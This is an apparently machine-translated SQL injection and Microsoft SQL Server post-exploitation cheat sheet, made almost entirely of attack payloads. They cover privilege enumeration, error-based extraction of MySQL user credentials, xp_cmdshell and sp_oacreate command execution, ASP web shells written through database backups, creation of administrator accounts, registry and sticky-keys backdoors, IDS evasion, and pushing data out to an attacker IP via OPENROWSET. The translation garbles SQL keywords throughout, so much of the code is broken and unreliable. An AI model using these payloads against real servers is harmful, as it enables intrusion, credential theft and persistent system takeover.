Jakmile hash získáte, můžete ho použít hrubou silou.

Pro procházení adresářem: Nejprve vytvořte dočasnou tabulku: temp
; Create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); –
; vložte dočasný výkonný master.dbo.xp_blank>_availablemedia; – Získejte všechny aktuální disky
; vložte do temp(id) exec master.dbo.xp_blank>_subdirs c:\; – Získejte seznam podadresářů
; vložte do temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – Získejte strukturu adresářového stromu pro všechny podadresáře,

Spojte palce do tabulky teplot
; vložte do temp(id) exec master.dbo.xp_blank>_cmdshell zadejte c:\web\index.asp; – Zobrazit soubor

Obsah
; vložte do temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\; –
; vložte do temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a; –
; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts

\adsutil.vbs enum w3svc
; vložte do temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Příslušná pravomoc

VEŘEJNOST)
Napište do stolu:
příkaz 1: a 1=(Vybrat IS_blank>_SRVROLEMEMBER(sysadmin)); –
Tvrzení 2: a 1=(Vyberte IS_blank>_SRVROLEMEMBER(serveradmin)); –
Tvrzení 3: a 1=(Vyberte IS_blank>_SRVROLEMEMBER(setupadmin)); –
Výrok 4: a 1=(Vyberte IS_blank>_SRVROLEMEMBER(securityadmin)); –
Výrok 5: a 1=(Vyberte IS_blank>_SRVROLEMEMBER(securityadmin)); –
Příkaz 6: a 1=(Vyberte IS_blank>_SRVROLEMEMBER(diskadmin)); –
Výrok 7: a 1=(Vyberte IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Výrok 8: a 1=(Vyberte IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Výrok 9: a 1=(Vyberte IS_blank>_MEMBER(db_blank>_owner)); –

Napište cestu ke stolu:
; Vytvořte tabulkové směry(cesty varchar(100), id int)–
; insert dirs exec master.dbo.xp_blank>_dirtree c:\–
a 0<>(vyberte nejlepší cesty z Dirs)–
a 0<>(vyberte nejlepší 1 cesty z směrů, kde cesty nejsou v(@Inetpub))–
; Create table dirs1(paths varchar(100), id int)–
; Insert dirs exec master.dbo.xp_blank>_dirtree e:\web–
a 0<>(vyberte nejlepší 1 cesty z dirs1)–

Zálohujte _blank> databázi do webového adresáře: Stáhnout
; deklarovat @a sysname; množina @a=db_blank>_name(); záložní databáze @a na disk=e:\web\down.bak; –

a 1=(Vyberte top 1 jméno z(Vyberte top 12 id,jméno ze sysobjects, kde xtype=char(85)) T

pořadí podle ID desc)
a 1=(Vyberte Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) ze sysobjects) Viz také

Související tabulky.
a 1=(vybrat user_blank>_id z USER_blank>_LOGIN)
a 0=(vyberte uživatele z USER_blank>_LOGIN kde uživatel>1)

-=- wscrip{filter}t.shell příklad -=-
deklarujte @o int
Exec sp_blank>_oacreate WSCrip{filter}t.shell, @o out
exec sp_blank>_oamethod @o, běž, NULL, notepad.exe
; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, notepad.exe–

Deklarujte @o int, @f int, @t int, @ret int
Deklarujte @line Varchar(8000)
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
exec sp_blank>_oamethod @o, OpenTextfile, @f out, c:\boot.ini, 1
exec @ret = sp_blank>_oamethod @f, readline, @line ven
while( @ret = 0 )
začátek
tisk @line
exec @ret = sp_blank>_oamethod @f, readline, @line ven
konec

Deklarujte @o int, @f int, @t int, @ret int
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>

Deklarujte @o INT, @ret INT
exec sp_blank>_oacreate speech.voicetext, @o konec
exec sp_blank>_oamethod @o, register, NULL, foo, bar
Výkonný sp_blank>_oasetproperty @o, rychlost, 150
exec sp_blank>_oamethod @o, mluv, NULL, všechny tvé servery pokračování patří nám, 528
čekám na zpoždění 00:00:05

; deklarujte @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o náš exec

sp_blank>_oamethod @o, registr, NULL, foo, bar exec sp_blank>_oasetproperty @o, rychlost, 150 exec

sp_blank>_oamethod @o, mluv, NULL, všechny tvé servery pokračování patří nám, 528 čekej na zpoždění

00:00:05–

xp_blank>_dirtree platné VEŘEJNÉ povolení
exec master.dbo.xp_blank>_dirtree c: Vrácené informace mají dvě pole: podadresář, hloubku. Pole podadresářů

Typ znaku, hloubkové pole je tvarovací pole.
Vytvořte tabulkové směry (Paths Varchar(100), ID Int)
Při tvorbě tabulek, tabulka vytvořená zde souvisí s výše uvedeným xp_blank>_dirtree, s rovnými poli a stejným typem.
insert dirs exec master.dbo.xp_blank>_dirtree c: Pokud vytvoříme tabulku a stejně definujeme pole vrácená procesem ukládání

Exekujte! Abychom dosáhli efektu psaní tabulek, krok za krokem k získání informací, které chceme!
Tato injekce chyb je založena hlavně na přetečení datového typu Mysql
    mysql > SELECT 18446744073709551610 * 2 ;
    CHYBA 1690 (22003): BIGINT UNSIGNED hodnota je mimo rozsah v '(18446744073709551610 * 2)'

    mysql > SELECT - 1 * 9223372036854775808 ;
    CHYBA 1690 (22003): BIGINT NEPODEPSÁNKOVÁ hodnota je mimo rozsah v '(- (1) *

9223372036854775808)'
Verze databáze dotazů:
    mysql> SELECT * 2 (pokud ((SELECT * from (SELECT (version ()) ) s), 18446744073709551610,

18446744073709551610));
    CHYBA 1690 (22003): Hodnota BIGINT UNSIGNED je mimo rozsah v '(2 * pokud (( Vyberte ' 5.5 'z

Dual), 18446744073709551610.18446744073709551610))'
Získejte název pole:
    mysql> SELECT 2 * if((SELECT * from (select * from test.shop) jako '' limit 1)>(SELECT * from

test.shop limit 1), 18446744073709551610, 18446744073709551610);

    CHYBA 1690 (22003): Hodnota BIGINT UNSIGNED je mimo rozsah v '(2 * if((((select

'article','dealer', 'price' from (vyberte 'test'. 'shop'.'article' AS

'článek','test'. 'obchod'.'prodejce' AS 'prodejce'. 'obchod'.'cena' AS

'test'. 'shop') limit 1) > (vybrat

'test'.'shop'.'article','test'.'shop'.'dealer','test'.'shop'.'cena' z 'test'.'shop' limit

1)),18446744073709551610,18446744073709551610))'
Získejte hodnotu pole:

    mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) jako '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610);

    CHYBA 1690 (22003): Hodnota BIGINT UNSIGNED je mimo rozsah v '(2 * if((((select

'lokální hostitel', 'kořen','*', 'Y','Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', '

Y','Y','Y','Y','Y', 'Y','Y', 'Y', 'Y','Y', 'Y','',','','', '0','0','0',' z duálního limitu 1)

<

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440

73709551610,18446744073709551610))'

Všimněte si, že tato metoda nefunguje se staršími verzemi Mysql a budete potřebovat znát délku chybové zprávy, protože to určí

Můžete získat tak dlouho, jak chcete:
    mysys / my_error.c

    /* Maximální délka chybové zprávy. Mělo by to být synchronizováno s MYSQL_ERRMSG_SIZE. */
    #define ERRMSGSIZE (512)

Pokud je objektem MariaDB (fork Mysql), můžete při zkoušce výše uvedené metody vidět podobnou chybovou zprávu:

    mysql> SELECT 2*(if((SELECT * from (SELECT (version())s), 18446744073709551610,

18446744073709551610))
    CHYBA 1690 (22003): BIGINT NEZNAMENÁ-hodnota je mimo rozsah v '(2 * if((select

#),18446744073709551610,18446744073709551610))'

Jako řešení lze tento problém vyřešit takto:

    mysql> SELECT (I NENÍ NULL) - -9223372036854775808 FROM (SELECT (version())i)a;
    CHYBA 1690 (22003): Hodnota BIGINT je mimo rozsah v '(('5.5-MariaDB' není null) - -

(9223372036854775808))'
Teď se podívejme, jestli můžeme náš vektor trochu zkrátit

//查询数据库版本

    SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610,

18446744073709551610))
    =
    select 1E308*if((select*from(select version())x),2,2)

    SELECT (I NENÍ NULL) - -9223372036854775808 Z (SELECT (version())i)a
    =
    select if(x,2,2)*1E308 from(select version()x)y
//获取表字段名称
    SELECT 2 * if((SELECT * from (select * from test.shop) jako '' limit 1)>(SELECT * from

test.shop limit 1), 18446744073709551610, 18446744073709551610)
    =
    vyberte 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit

1),2,2)

//获取字段值

    SELECT 2 * if(((SELECT * from (select * from (mysql.user) LIMIT 1) jako '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610)
    =
    vyberte 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from

mysql.user limit 0),2,2)
//获取指定字段的值
    vyberte 1E308*if((vyberte uživatele|| host|| heslo|| file_priv from(select*from mysql.user LIMIT

1) limit 1),2,2)
//获取字段个数


    vyberte 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)



Některé další deformace

    SELECT (I NENÍ NULL) - -9223372036854775808 Z (SELECT (version())i)a
    vyberte 1E308*if((vyberte uživatele|| host|| heslo|| file_priv from(select*from mysql.user LIMIT

1) limit 1),2,2);
    =>
    Vyberte 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit

1),1e308,0);
    mysql> vybrat (vybrat * z mysql.user)=1;
    mysql> vyberte (vyberte * z mysql.user)in(1);

    CHYBA 1241 (21000): Operand by měl obsahovat 42 sloupců/sloupců.
    Vyberte 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit

1),1e308,0);
    vyber if(((select user|| host|| heslo|| file_priv from(select*from mysql.user LIMIT 1)a

limit 1),2,2)*1E308
    SELECT (I NENÍ NULL) - -9223372036854775808 Z (SELECT (version())i)a
    select (x!=0x00)--9223372036854775808 from(SELECT version()x)y
    mysql> select!x-~0.FROM(select+user()x)f;
    CHYBA 1690 (22003): BIGINT NEZNAMENÁ, hodnota je mimo rozsah v '((not('root@localhost')) - ~

(0))'
3. Posuzujte databázový systém
; a (vyberte count(*) ze sysobjects)>0 mssql
; a (vyberte count(*) z msysobjects)>0 přístup
4. Parametr injekce je znak
'a [kritéria dotazu] a ''='
5. Během vyhledávání nejsou žádné filtrované parametry
'a [kritéria dotazu] a '%25'='
6. Hádejte databázi
; a (vyberte Count(*) z [název databáze])>0
7. Hádejte pole
; a (vyberte Count(field name) z názvu databáze)>0
8. Hádejte délku desky v poli
; a (vyberte top 1 len (název pole) z názvu databáze)>0
9. (1) Hádejte ASCII hodnotu pole (přístup)
; a (vyberte top 1 ASC(Mid(Field Name, 1,1)) z názvu databáze)>0
(2) Odhadnout ASCII hodnotu pole (mssql)
; a (vyberte top 1 unicode(substring(field name, 1,1)) z názvu databáze)>0
10. Struktura oprávnění k testování (mssql)
; a 1=(vybrat IS_SRVROLEMEMBER('sysadmin')); --
; a 1=(vybrat IS_SRVROLEMEMBER('serveradmin')); --
; a 1=(vybrat IS_SRVROLEMEMBER('setupadmin')); --
; a 1=(vybrat IS_SRVROLEMEMBER('securityadmin')); --
; a 1=(vybrat IS_SRVROLEMEMBER('diskadmin')); --
; a 1=(vybrat IS_SRVROLEMEMBER('bulkadmin')); --
; a 1=(vybrat IS_MEMBER('db_owner')); --
11. Přidat účet pro mssql a systém
; exec master.dbo.sp_addlogin uživatelské jméno; --
; exec master.dbo.sp_password null, uživatelské jméno, heslo; --
; exec master.dbo.sp_addsrvrolemember uživatelské jméno správce systému; --
; exec master.dbo.xp_cmdshell 'net uživatelské jméno password /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add';--
; exec master.dbo.xp_cmdshell 'net uživatelské jméno, heslo /add'; --
; exec master.dbo.xp_cmdshell 'uživatelské jméno správce lokální skupiny /add'; --
12. (1) Projít katalog
; Vytvořte tabulkové směry (Paths Varchar(100), ID Int)
; Vložte Dirs Exec master.dbo.xp_dirtree 'C:\'
; a (vyberte nejlepší 1 cesty z Dirs)>0
; a (vyberte první cesty z směrů, kde cesty nejsou v ('cesty získané z předchozího kroku'))>)
(2) Projít katalog
; Create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; vložte dočasný výkonný master.dbo.xp_availablemedia; -- Získejte všechny proudové pohony
; vložte do temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Získejte seznam podadresářů
; vložte do temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Získejte strukturu adresářového stromu pro všechny podadresáře
; vložte do temp(id) exec master.dbo.xp_cmdshell 'napiš c:\web\index.asp'; -- Zobrazit obsah souboru
13. Uložené procedury v mssql
xp_regenumvalues Kořenový klíč registru, podklíč
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' a další

Metoda setu záznamů pro vrácení všech klíčových hodnot
xp_regread Kořenový klíč, podklíčový klíč, klíč-hodnota
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion','CommonFilesDir' vrací hodnotu formulačního klíče
xp_regwrite Kořenový klíč, podklíč, název hodnoty, typ hodnoty, hodnota
Existují dva typy hodnot REG_SZ REG_DWORD pro typy znaků a pro celá čísla
; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello' jsou zapsány do registru
xp_regdeletevalue Kořenový klíč, podklíč, název hodnoty
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'TestvalueName' pro odstranění hodnoty
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' klávesa pro smazání,

Zahrňte všechny hodnoty pod tímto klíčem
14. MSSQL záloha vytváří webshell
Použít model
Create table cmd (str image);
vložit do cmd(str) hodnot ('<% Dim oscrip{filter}t %>');
záložní databázový model na disk='c:\l.asp';
15. Vestavěné funkce MSSQL
; a (vyberte @@version)>0 pro získání verze Windows
; a user_name()='dbo', aby se určilo, zda je připojený uživatel současného systému SA
; a (vybrat user_name()>0 Zničil připojené uživatele současného systému
; a (vyberte db_name()>0 pro získání aktuálně připojené databáze
16. Stručný webshell
Použít model
Create table cmd (str image);
Vložte do cmd(str) hodnoty ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c

"&request("c")).stdout.readall%>');
model zálohovací databáze na disk='g:\wwwtest\l.asp';
Při žádosti použijte něco takového:
http://ip/l.asp?c=dir
================================================================================================

================================================================================================

================================================================================================

================================================================================================

============================
Získejte všechny názvy databází včetně systémových databází
–VYBERTE název Z master.dbo.sysdatabases

Získejte všechna nesystémová databázová jména
–vyberte [jméno] z master.dbo.sysdatabases, kde DBId>6 Pořadí podle [Jméno]

Získejte všechny informace, včetně adresy databázového souboru
–vyberte * z master.dbo.sysdatabases, kde DBId>6 Order By

[Jméno]



Tento dotaz na příkaz vrací všechny uživatelské tabulky

Vyberte * ze sysobjectů, kde xtype='u'


Dotazujte všechny informace z datové tabulky v systému

Vyberte * z sysobjects



Podívej se na název stroje
Vyberte * ze sys.servers





Obsah sloupců
Výkonný master.dbo.xp_subdirs 'C:\'


Výkonná master.dbo.xp_dirtree 'C:',1,1 db_owner
Oprávnění lze vymáhat


exec master.dbo.xp_dirtree 'c:/Program Files',1,1





Programový kód napsaný do webshellu


Výkonný master.dbo.xp_subdirs 'd:\web\www.xx.com';
Výkonný sp_makewebtask:

\web\www.XXXX.com\XX.asp''select"<%execute(request("SB"))%>"






Poprav, mistře.. xp_enumgroups  


Uživatelé systému pro průchod


Poprav, mistře.. xp_getnetname
Získejte aktuální název stroje


--Vyveďte pevné disky na serveru spolu s dostupným místem pro každý disk
   DBO Public


Execute

xp_ntsec_enumdomains


--
Vytvořte si účet pro přihlášení do MSSQL
Exec master.dbo.sp_addlogin jméno, pass; --






--
Uveďte doménové jméno serveru
xp_ntsec_enumdomains //
Název stroje //dbo public


--
Zastavte nebo zahájte službu
xp_servicecontrol 'stop', 'schedule' /schedule je název služby //dbo


--Použijte pid

Zastavte spouštějící program
xp_terminate_process 123 /123 je PID //dbo


--
V adresáři jsou uvedeny pouze podadresáře
dbo.xp_subdirs 'C:' //dbo


SQL Server
Způsob otevření xp_cmdshell v roce 2005
EXEC sp_configure 'zobrazit pokročilé možnosti', 1; REKONFIGUROVAT; EXEC

sp_configure 'xp_cmdshell', 1; REKONFIGUROVAT;

SQL2005 Otevřít 'OPENROWSET'
Podporované metody:
výkonný sp_configure 'zobrazit pokročilé možnosti', 1; REKONFIGUROVAT; výkonný sp_configure 'Ad Hoc

Distribuované dotazy',1; REKONFIGUROVAT;

SQL2005 umožnit podporu 'sp_oacreate':
výkonný sp_configure 'zobrazit pokročilé možnosti', 1; REKONFIGUROVAT; exec

sp_configure 'Ole Automation Procedures',1; REKONFIGUROVAT





Jak povolit xp_cmdshell v SQL Server 2008


-- Aby bylo možné měnit pokročilé možnosti.
EXEC

sp_configure 'zobrazit pokročilé možnosti', 1
JDI
-- Aktualizovat aktuálně nakonfigurovanou hodnotu pro

Pokročilé možnosti.
REKONFIGUROVAT
JDI
-- Pro povolení funkce.
EXEC sp_configure 'xp_cmdshell', 1
JDI
-- To

aktualizovat aktuálně nastavenou hodnotu pro tuto funkci.
REKONFIGUROVAT
JDI


exec xp_cmdshell 'ipconfig'



Dnes jsem chtěl změnit přihlašovací heslo k SA databázovému serveru, ale najednou jsem zapomněl, takže jsem musel s pomocí jiných účtů otevřít analyzátor dotazů, abych změnil heslo pro SA

Je to velmi jednoduché:


Realizace:
sp_password Null, 'teracypwd', 'sa'
Nastavte heslo pro SA na "teracypwd"


Po úspěšné popravě

Je zde "Příkaz(y) úspěšně splněny."  OK!








V oprávnění databáze oddělte způsob získání IP adresy databázového serveru MSSQL


1. Místní NC poslouchá NC - VVLP 80


2.; vkládat do

OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Síť=DBMSSOCN; Adresa=vaše IP, 80; ', 'vyberte * z

dest_table') vyberte * z src_table; --


Vyberte * z openrowset

('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','vybrat uživatele; ')





Import a export databáze

/*不同服务器数据库之间的数据操作*/

--Vytvořit link server
Výkonný sp_addlinkedserver   

'ITSV', 'SQLOLEDB', 'Vzdálený server nebo IP adresa'
exec sp_addlinkedsrvlogin 'ITSV', 'false

',null, 'uživatelské jméno', 'heslo'

--příklad dotazu
select * z ITSV.database name.dbo.table name

--import příklad
Vybrat *

do tabulky z ITSV.databasename.dbo.tablename

--Smažte propojený server, pokud se v budoucnu již nebude používat
výkonný sp_dropserver 'ITSV',

'droplogins'

--
Připojení k vzdáleným/LAN datům (openrowset/openquery/opendatasource)
--1、openrowset

--příklad dotazu
Vybrat *

z openrowset( 'SQLOLEDB ', 'SQL server name '; 'Uživatelské jméno'; 'password', název databáze.dbo.table název)

--
Vygenerujte lokální tabulku
select * do tabulky z openRowset( 'SQLOLEDB ', 'SQL Server Name '; 'Uživatelské jméno'; 'Heslo', číslo

Podle názvu databáze.dbo. tabulky)

--
Importovat lokální tabulku do vzdálené tabulky
insert openrowset( 'SQLOLEDB', 'sql server name'; 'Uživatelské jméno'; 'Hesla', databáze

jméno.dbo.tabulka jméno)
Vyberte *z lokální tabulky

--
Aktualizujte lokální tabulky
Aktualizace B
množina b. sloupce A = a
z openrowset( 'SQLOLEDB ', 'SQL server name '; 'Uživatelské jméno'; '

password ', název databáze .dbo.table name) jako inner join local table b
na a.column1=b.column1

--openquery
Použití vyžaduje vytvoření spojení

--Nejprve vytvořit spojení pro vytvoření linkového serveru
exec sp_addlinkedserver 'ITSV', ' ',

'SQLOLEDB', 'vzdálený server nebo IP adresa'
--Dotazujte se
Vybrat *
FROM openquery(ITSV, 'SELECT * FROM dat)

library.dbo.table name ')
--
Importovat lokální tabulku do vzdálené tabulky
vložit openquery(ITSV, 'SELECT * FROM DATABASE.DBO.TABLE NAME')
Vyberte * z lokálního prostředí

Tabulka
--aktualizovat lokální tabulku
Aktualizace B
množina b. sloupec B=a
FROM openquery(ITSV, 'SELECT * FROM DATABASE.DBO.TABLENAME')

jako  
vnitřní spoj lokální tabulka b na sloupci A=b. sloupec A

--3、opendatasource/openrowset
VYBRAT *
Z   

opendatasource( 'SQLOLEDB ', 'Data Source=ip/ServerName; ID uživatele = Přihlašovací jméno; Heslo=Heslo '

).test.dbo.roy_ta
--
Importovat lokální tabulku do vzdálené tabulky



Smazání a obnova xp_cmdshell


Způsoby, jak se zotavit xp_cmdshell   
Smazat rozšířenou uloženou proceduru xp_cmdshell

Prohlášení   
Výkonný sp_dropextendedproc 'xp_cmdshell'   



Obnovení SQL příkazu v cmdshell   
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'   


exec

master.dbo.addendedproc 'xp_cmdshell','xplog70.dll'; Vyberte count(*) z

master.dbo.sysobject, kde xtype='x' a   
Výsledek je 1 a je to v pořádku   


Jinak musíte nahrát c:\inetput\web

\xplog70.dll Později   
Výkonný master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetput\web\xplog70.dll

’; --   



Pokud to smažete následujícím způsobem   
Postup při skládání sp_addextendedproc   
Postup při skládání sp_oacreate   
exec

sp_dropextendedproc 'xp_cmdshell'   



Můžete ji obnovit následujícím tvrzením   
DBCC addextendedproc ("sp_oacreate","odsole70.dll")   
DBCC

addextendedproc ("xp_cmdshell","xplog70.dll")   

Tímto způsobem lze jej obnovit přímo, bez ohledu na to, zda sp_addextendedproc existuje nebo ne






1、
Použijte xp_cmdshell:
          Exec master.dbo.xp_cmdshell "NET User Admin admin /ADD"
          exec

master.dbo.xp_cmdshell "net localgroup administrators admin /add"

V xp_cmdshell případě použijte sp_oacreate k následování sp_oamethod:
          Deklarujte @object Int   
          exec

sp_oacreate 'wscrip{filter}t.Shell', @object konec         
          Výkonný sp_oamethod

@object,'Run', NULL,'net user admin admin /add'
          exec sp_oamethod @object,'Run', NULL,'net

localgroup Administrátoři admin /add'

Poznámka: regsvr32 /s c:\windows\system32\wshom.ocx
Start wscrip{filter}t.shell
3、
Používejte sp_oacreate a FSO
          deklarujte @o int
          Výkonný sp_oacreate

'scrip{filter}ting.filesystemobject', @o out
          Exec sp_oamethod @o, 'copyfile', null,'C:\Windows

\explorer.exe' ,'c:\windows\system32\sethc.exe';
          deklarujte @oo int
          exec

sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo out
          Výkonný sp_oamethod @oo,

'copyfile', null,'c:\windows\system32\sethc.exe', 'c:\windows\system32\dllcache\sethc.exe';

Použijte xp_regwrite (db_owner, je potřeba restartovat):
          Výkonný master.dbo.xp_regwrite

'hkey_local_machine','software\microsoft\windows\currentversion\


run','eadd1','reg_sz','net user admin admin /add'
          Výkonný master.dbo.xp_regwrite

'hkey_local_machine','software\microsoft\windows\currentversion\


run','eadd2','reg_sz','net localgroup administrators admin /add'
5. Používejte sp_add_job:
          exec

master.dbo.xp_servicecontrol 'start', 'SQLSERVERAGENT'
          Používejte MSDB Exec sp_delete_job

null,'x'
          Exec sp_add_job 'X'
          Výkonný sp_add_jobstep

Null,'x', Null,'1','CMDEXEC', 'cmd /c net user admin admin /add'
          Výkonný sp_add_jobserver

Null, 'x', @@servername exec sp_start_job 'x'















Mnoho SA uspělo přímo na mnoha strojích v sandboxovém režimu, ale já jsem to nikdy nezkoušel a nevím, jaká je úspěšnost. Když je prodloužení odstraněno, nejprve

Obnovte čtecí a zápisné úložiště do registru.
dbcc addextendedproc ('xp_regread','xpstar.dll')
DBCC addextendedproc

('xp_regwrite','xpstar.dll')



Opraven chráněný režim sandboxu
Výkonný mistr.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet

\4.0\Engines','SandBox Mode','REG_DWORD',0; --



Podívejte se, jestli se hodnota 'SandBoxMode' změnila na 0.


výkonný master.dbo.xp_regread 'HKEY_LOCAL_MACHINE,'SOFTWARE

\Microsoft\Jet\4.0\Engines', 'SandBoxMode'



Nakonec zavolejte sandbox režim
select * from openrowset('microsoft.jet.oledb.4.0','; database=C:\WINDOWS

\system32\ias\dnary.mdb','select shell("cmd.exe /c net user pass wd /add")')







Pokud režim ochrany sandboxu není "vypnutý", hlásí se chyba:
          Server: Msg 7357, úroveň 16, stav 2, linka 1

Nepodařilo se zpracovat objekt 'select shell("cmd.exe /c net user user passwd /add")'. OLE DB poskytuje programy

Předmluva 'microsoft.jet.oledb.4.0' uvádí, že v objektu nejsou žádné sloupce.

Sledování chyb OLE DB [Chyba mimo rozhraní: poskytovatel OLE DB nemůže zpracovat objekt, protože objekt

has nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user

uživatel passwd /add")']。


2、
Pokud .mdb neexistuje nebo je vstupní cesta nesprávná
           Server: Msg 7399, úroveň 16, stav 1, linka 1

OLE DB provider 'microsoft.jet.oledb.4.0' error.
            [Poskytovatel OLE/DB vrátil zprávu:

Soubor 'C:\WINDOWS\system32\ias\dnary1.mdb' nebyl nalezen. ]

OLE DB error trace [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned

0x80004005: ]。


3. Pokud je během vstupního procesu více mezer, chyba bude také nahlášena. Věnujte tomu zvláštní pozornost, mnoho lidí přímo hledá články online

Vložte to do a spusťte.
          Server: Msg 7357, úroveň 16, stav 2, linka 1
          Nepodařilo se zpracovat objekt 'select'

shell("cmd.exe /c uživatel NET passwd /add")'。
Poskytovatel OLE DB 'microsoft.jet.oledb.4.0' uvádí, že v objektu nejsou žádné sloupce.

Sledování chyb v databázi OLE [Chyba mimo rozhraní:
Poskytovatel OLE DB nemůže zpracovat objekt, protože objekt má

nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user

passwd /add")']。


4、
Pokud jsou oprávnění mdb a cmd.exe chybná, problém také nastává.
          Když jsou oprávnění MDB nesprávná,
           Server: Eliminovat

Interest 7320, úroveň 16, stav 2, řádek 1

Nemohl odpovědět
OLE DB provider 'Microsoft.Jet.OLEDB.4.0' vykonává dotaz.
           [OLE/DB poskytovatel vrácen

message: 未知]
           OLE DB Error Trace [OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0'

ICommandText::Execute returned 0x80040e14]。


5. Pokud je oprávnění k síti nesprávné, nezobrazí se žádná výzva.

Posledním způsobem, jak zvýšit autoritu, je nahrát ias.mdb a cmd.exe systému pod současný webový adresář net.exe tři soubory.

Execute select * from openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','select shell

("E:\web\cmd.exe /c E:\web\net.exe uživatel passwd /add")')
          Úspěšně přidejte uživatele počítače.






Rozdělení cmdshellu obchází IDS         
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'ipconfig'
Deklarujte

@a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'





Editace převzetí registru
Výkonný mistr.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT

\CurrentVersion\Možnosti spuštění obrazového souboru\sethc.exe', 'debugger','REG_sz','c:\windows

\system32\cmd.exe on'; --



Dotaz na linkserver
vybrat

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,dataaccess from master.dbo.sysservers
vybrat

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,dataaccess from master.dbo.sysservers



Dotaz linkserver2
Vyberte odlišné hostitelské jméno,db_name(dbid),net_address,loginame,program_name z

Mistře.. Sysprocesses



Dotaz na linkserver
a další přihlášení uživatelé
select * from [192.168.1.1].master.dbo.syslogins



Dotazovací linkserver
Všechny databáze
vyberte * z linkedSrvWeb.master.dbo.sysdatabases



Provádění rozšířeného ukládání na LinkServeru
Výkonný [IP].master.dbo.xp_cmdshell



Dotazujte všechny tabulky na linkserveru
Vyberte * z [IP].master.dbo.sysobjects








Vyberte * z openrowset

('sqloledb','server=IP; uid=uživatel; pwd=password','select @@version')


select * from openquery([LINKSERVER

jméno],'select @@version')




select * from openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')




select * from openquery(GM_SERVER,'select * from sysobjects where xtype = (''U'')')


Vyberte * z

openquery(NDOORS,'Select IS_MEMBER(''db_owner'')')




Vyberte * z OpenQuery(toatdeWeb,'Vybrat

srvname z master.dbo.sysservers')


Vložit do OpenDatasource

('sqloledb','server=222.241.95.12; uid=scd; pwd=a123520; database=hack520').hack520.dbo.zhu select

název z master.dbo.sysdatabases
vytvořit databázi hack520 Vytvořit TABULKU zhu(name nvarchar(256)

null); Vytvořit TABULKU J8(id int NULL, name nvarchar(256) null);


Vyberte * z OpenQuery

(toatdeweb, 'nastaveno fmtonly off executive master.dbo.xp_cmdshell ''net user'')


Výkonný mistr.. xp_dirtree

'c:\',1,1
Provést adresář dotazů


